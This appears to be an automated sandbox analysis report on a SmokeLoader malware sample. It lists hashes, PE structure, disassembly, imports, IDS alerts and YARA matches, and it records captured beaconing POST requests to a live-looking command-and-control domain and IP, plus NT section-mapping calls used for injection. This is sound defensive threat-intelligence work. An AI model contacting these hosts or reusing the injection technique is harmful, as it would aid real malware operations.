selebration17io.io	Qi4Mj8hG3t.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	br0A8E2X6I.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	987123[1].exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	188.40.141.211
	Vjt694rffx.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	91.215.85.120
	ak55ZgXKwt.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	tZksysDKeT.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	woM8Z8CFYx.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	91.215.85.120
	6t0abj5L0W.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	UUVupNLfBb.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	FNzQAE7DvU.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	Qi4Mj8hG3t.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	br0A8E2X6I.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	53QoH91Zg3.exe	Get hash	malicious	Unknown	Browse	88.99.2.111
	7GfciIf7ys.exe	Get hash	malicious	Unknown	Browse	213.239.213.220
	2pFytt52ws.exe	Get hash	malicious	Unknown	Browse	95.216.22.24
	53QoH91Zg3.exe	Get hash	malicious	Unknown	Browse	195.201.62.78
	http://manga-netflix10737.tinyblogging.com.xx3.kz/	Get hash	malicious	Unknown	Browse	138.201.139.144
	https://monogogo.info/JQJMLAWN#em=npaladino@bigge.com	Get hash	malicious	Phisher	Browse	46.4.15.55
	http://www.lesliehawes.com	Get hash	malicious	Unknown	Browse	135.181.16.82
	KKveTTgaAAsecNNaaaa.sh4.elf	Get hash	malicious	Unknown	Browse	46.4.110.10

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\ifvwgru

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	171008
Entropy (8bit):	6.91421044707207
Encrypted:	false
SSDEEP:	3072:fW29LkwhSw/x6rO8zjODXz4QMmKdXNPZfu0ICVy45Wr6QL:f39Llp/6O8zjODLMmKdXNI0ICVer6
MD5:	5C86694B89A930B319F453E541D17869
SHA1:	3E476F9253D814620A2FA2B9BD19374D420A3C67
SHA-256:	49B527DACC10E6D0E9D2924ECC4E59A8D727D5A2EB89AEA324D303F4C8E7BA28
SHA-512:	F6C8913125E2F93D73C6358149398D49CA8703D8032DC8EE6314F9B6803C7A96CBF4DFDC3AC82D67B29F222E37114885F27402BCFC6688C0A5BD98B7C08CFE7A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74% Antivirus: Virustotal, Detection: 77%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L...I..d......................n...................@.......................... p.....1...........................................(.....o.8Z..........................................................h...@...............@............................text............................... ..`.rdata...(.......*..................@..@.data....m......J..................@....rsrc...8Z....o..\...@..............@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ifvwgru:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.91421044707207
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	vwaoMjcyAw.exe
File size:	171'008 bytes
MD5:	5c86694b89a930b319f453e541d17869
SHA1:	3e476f9253d814620a2fa2b9bd19374d420a3c67
SHA256:	49b527dacc10e6d0e9d2924ecc4e59a8d727d5a2eb89aea324d303f4c8e7ba28
SHA512:	f6c8913125e2f93d73c6358149398d49ca8703d8032dc8ee6314f9b6803c7a96cbf4dfdc3ac82d67b29f222e37114885f27402bcfc6688c0a5bd98b7c08cfe7a
SSDEEP:	3072:fW29LkwhSw/x6rO8zjODXz4QMmKdXNPZfu0ICVy45Wr6QL:f39Llp/6O8zjODLMmKdXNI0ICVer6
TLSH:	7EF3BE21B9F2903EE6F796B5593196E05E3FBC636AB4818F3254136E0E322D04F25763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L...I..d...........

File Icon


Icon Hash:	63796de961436e0f

Static PE Info

General

Entrypoint:	0x4018b3
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6402DE49 [Sat Mar 4 05:59:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	85f4f1401ca36bd82fd51e7dd1026f90

Entrypoint Preview

Instruction
call 00007F6DDCC08869h
jmp 00007F6DDCC0690Eh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov dword ptr [0042584Ch], eax
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov eax, dword ptr [0042129Ch]
xor eax, ebp
mov dword ptr [ebp-04h], eax
and dword ptr [ebp-00000328h], 00000000h
push ebx
push 0000004Ch
lea eax, dword ptr [ebp-00000324h]
push 00000000h
push eax
call 00007F6DDCC06F9Ch
lea eax, dword ptr [ebp-00000328h]
mov dword ptr [ebp-000002D8h], eax
lea eax, dword ptr [ebp-000002D0h]
add esp, 0Ch
mov dword ptr [ebp-000002D4h], eax
mov dword ptr [ebp-00000220h], eax
mov dword ptr [ebp-00000224h], ecx
mov dword ptr [ebp-00000228h], edx
mov dword ptr [ebp-0000022Ch], ebx
mov dword ptr [ebp-00000230h], esi
mov dword ptr [ebp-00000234h], edi
mov word ptr [ebp-00000208h], ss
mov word ptr [ebp-00000214h], cs
mov word ptr [ebp-00000238h], ds
mov word ptr [ebp-0000023Ch], es
mov word ptr [ebp-00000240h], fs
mov word ptr [ebp-00000244h], gs
pushfd
pop dword ptr [ebp-00000210h]
mov eax, dword ptr [ebp+04h]
lea ecx, dword ptr [ebp+04h]
mov dword ptr [ebp-000002D0h], 00010001h
mov dword ptr [ebp+00000000h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20194	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26fc000	0x5a38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1e180	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1fb68	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1c7e6	0x1c800	698be3d06b11144f323de0083dcbb243	False	0.8944198876096491	data	7.821971719130902	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1e000	0x28ce	0x2a00	15eae4e9073e47b9fa0bc4b21890024f	False	0.36300223214285715	data	5.400101138961297	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x21000	0x26da2dc	0x4a00	bb59a2891a3111b839a260a6ec34f912	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x26fc000	0x5a38	0x5c00	b5b59404fe4c3237626480fe795ec993	False	0.4263332201086957	data	4.087054066646391	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_CURSOR	0x26ff4d8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.4375
RT_CURSOR	0x26ff608	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0	0.44886363636363635
RT_ICON	0x26fc390	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.5345622119815668
RT_ICON	0x26fca58	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.4117219917012448
RT_ICON	0x26ff000	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.44592198581560283
RT_STRING	0x26ff8a0	0x62e	data	0.42983565107458915
RT_STRING	0x26ffed0	0x45e	data	0.4561717352415027
RT_STRING	0x2700330	0x550	data	0.4389705882352941
RT_STRING	0x2700880	0x886	data	0.41200733272227313
RT_STRING	0x2701108	0x584	data	0.44192634560906513
RT_STRING	0x2701690	0x3a8	data	0.4636752136752137
RT_ACCELERATOR	0x26ff498	0x40	data	0.890625
RT_GROUP_CURSOR	0x26ff6b8	0x22	data	1.0588235294117647
RT_GROUP_ICON	0x26ff468	0x30	data	0.9375
RT_VERSION	0x26ff6e0	0x1bc	data	0.5630630630630631

Imports

DLL

Import

KERNEL32.dll

SetVolumeLabelA, SetComputerNameExA, InterlockedIncrement, InterlockedDecrement, CreateJobObjectW, QueryDosDeviceA, SetCommBreak, GetTickCount, EnumResourceTypesA, GetModuleFileNameW, GetLogicalDriveStringsA, GetLastError, SetLastError, GetProcAddress, AttachConsole, VirtualAlloc, LoadLibraryA, WriteConsoleA, LocalAlloc, MoveFileA, RemoveDirectoryW, FindNextChangeNotification, GlobalFindAtomW, FindFirstVolumeMountPointA, GetModuleHandleA, GetConsoleTitleW, GetFileAttributesExW, FatalAppExitA, GetCurrentProcessId, AddConsoleAliasA, DeleteFileA, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapFree, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapCreate, VirtualFree, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, LeaveCriticalSection, EnterCriticalSection, HeapAlloc, HeapReAlloc, InitializeCriticalSectionAndSpinCount, RtlUnwind, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize, RaiseException

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-21T07:12:54.073227+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49717	80	192.168.2.6	188.40.141.211
2024-08-21T07:12:32.808611+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49717	80	192.168.2.6	188.40.141.211
2024-08-21T07:12:54.307863+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49717	80	192.168.2.6	188.40.141.211
2024-08-21T07:12:33.042264+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49717	80	192.168.2.6	188.40.141.211

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 07:12:32.161120892 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:32.166003942 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:32.166152954 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:32.166377068 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:32.166439056 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:32.171164989 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:32.171200037 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:32.799855947 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:32.808610916 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:32.808644056 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:32.813435078 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:32.813446999 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:32.996936083 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:33.042263985 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:53.866307974 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:53.866353989 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:53.871324062 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:53.871340036 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:54.059181929 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:54.073226929 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:54.073259115 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:12:54.078010082 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:54.078250885 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:54.265165091 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:12:54.307862997 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:14:09.878695965 CEST	80	49717	188.40.141.211	192.168.2.6
Aug 21, 2024 07:14:09.878817081 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:14:09.884497881 CEST	49717	80	192.168.2.6	188.40.141.211
Aug 21, 2024 07:14:09.889363050 CEST	80	49717	188.40.141.211	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 07:12:31.694510937 CEST	55670	53	192.168.2.6	1.1.1.1
Aug 21, 2024 07:12:32.159795046 CEST	53	55670	1.1.1.1	192.168.2.6
Aug 21, 2024 07:12:40.033972025 CEST	53	64227	162.159.36.2	192.168.2.6
Aug 21, 2024 07:12:40.500245094 CEST	61739	53	192.168.2.6	1.1.1.1
Aug 21, 2024 07:12:40.507380009 CEST	53	61739	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 21, 2024 07:12:31.694510937 CEST	192.168.2.6	1.1.1.1	0xe17b	Standard query (0)	selebration17io.io	A (IP address)	IN (0x0001)	false
Aug 21, 2024 07:12:40.500245094 CEST	192.168.2.6	1.1.1.1	0xac09	Standard query (0)	56.126.166.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 21, 2024 07:12:32.159795046 CEST	1.1.1.1	192.168.2.6	0xe17b	No error (0)	selebration17io.io		188.40.141.211	A (IP address)	IN (0x0001)	false
Aug 21, 2024 07:12:40.507380009 CEST	1.1.1.1	192.168.2.6	0xac09	Name error (3)	56.126.166.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

atahmsiplorwquuw.net

selebration17io.io

brprnhfudhwwlf.org

mwqxqnqsqljxlnw.org

aeuothcasbr.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49717	188.40.141.211	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 07:12:32.166377068 CEST	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atahmsiplorwquuw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 323 Host: selebration17io.io
Aug 21, 2024 07:12:32.166439056 CEST	323	OUT	Data Raw: 48 9d f8 c4 4b 63 57 52 5d 07 24 53 7d a9 50 c0 20 6b e5 14 ff 68 a8 d9 c1 69 a0 f5 0a 84 d5 91 85 ac fc c0 73 41 92 b6 aa 28 6a 71 82 83 f0 0f 98 4a 2c 2c 50 c5 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 f7 d9 52 d4 Data Ascii: HKcWR]$S}P khisA(jqJ,,P;}f=B!bOR<##Z!I1=,NkfmsI]4y>6+3C8E&~{X[I})<}e?i\|q9DO':P:2Nk..d]U
Aug 21, 2024 07:12:32.799855947 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:12:32 GMT Data Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Aug 21, 2024 07:12:32.808610916 CEST	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://brprnhfudhwwlf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: selebration17io.io
Aug 21, 2024 07:12:32.808644056 CEST	357	OUT	Data Raw: 48 9d f8 c4 4b 63 57 52 5d 07 24 53 7d a9 50 c0 20 6b e5 14 ff 68 a8 d9 c1 69 a0 f5 0a 84 d5 91 85 ac fc c0 73 41 92 b6 aa 28 6a 71 82 83 f0 0f 98 4a 2c 2c 50 c5 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 c8 8a 14 62 cd d6 4f 96 a0 de 2d a9 Data Ascii: HKcWR]$S}P khisA(jqJ,,P;}f=B!bO-"oq:c[%]i=QN/P?lu-uSah1<'U,D3+if_uojH.PiE0lHu7MSH7o~X-kl
Aug 21, 2024 07:12:32.996936083 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:12:32 GMT
Aug 21, 2024 07:12:53.866307974 CEST	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mwqxqnqsqljxlnw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: selebration17io.io
Aug 21, 2024 07:12:53.866353989 CEST	364	OUT	Data Raw: 48 9d f8 c4 4b 63 57 52 5d 07 24 53 7d a9 50 c0 20 6b e5 14 ff 68 a8 d9 c1 69 a0 f5 0a 84 d5 91 85 ac fc c0 73 41 92 b6 aa 28 6a 71 82 83 f0 0f 98 4a 2c 2c 50 c5 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 fe aa 4c da Data Ascii: HKcWR]$S}P khisA(jqJ,,P;}f=B!bOL3e5g.4t0B<$*7I,@`&]!:n"L-7Bm-DY9W.U&tE)"bY-;JJ%BH<83xB={aJ=o,
Aug 21, 2024 07:12:54.059181929 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:12:53 GMT Data Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Aug 21, 2024 07:12:54.073226929 CEST	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aeuothcasbr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: selebration17io.io
Aug 21, 2024 07:12:54.073259115 CEST	168	OUT	Data Raw: 48 9d f8 c4 4b 63 57 52 5d 07 24 53 7d a9 50 c0 20 6b e5 14 ff 68 a8 d9 c1 69 a0 f5 0a 84 d5 91 85 ac fc c0 73 41 92 b6 aa 28 6a 71 82 83 f0 0f 98 4a 2c 2c 50 c5 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 c8 8a 14 62 cd d6 4f 96 e8 ac 40 c4 Data Ascii: HKcWR]$S}P khisA(jqJ,,P;}f=B!bO@sl.!uaB8&20rN5ZRszM6/C+oL
Aug 21, 2024 07:12:54.265165091 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:12:54 GMT

Target ID:	0
Start time:	01:12:08
Start date:	21/08/2024
Path:	C:\Users\user\Desktop\vwaoMjcyAw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\vwaoMjcyAw.exe"
Imagebase:	0x400000
File size:	171'008 bytes
MD5 hash:	5C86694B89A930B319F453E541D17869
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2270182856.0000000002D02000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:12:13
Start date:	21/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:12:31
Start date:	21/08/2024
Path:	C:\Users\user\AppData\Roaming\ifvwgru
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ifvwgru
Imagebase:	0x400000
File size:	171'008 bytes
MD5 hash:	5C86694B89A930B319F453E541D17869
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000006.00000002.2485885145.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.2486160796.0000000002EC3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs Detection: 77%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	37.8%
Signature Coverage:	55.6%
Total number of Nodes:	90
Total number of Limit Nodes:	4

Executed Functions

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6d46c8a6fce290316f39b6869c298df5b0ebc69594c79ab5c6b7b5b864eca8fa
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 6d46c8a6fce290316f39b6869c298df5b0ebc69594c79ab5c6b7b5b864eca8fa
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
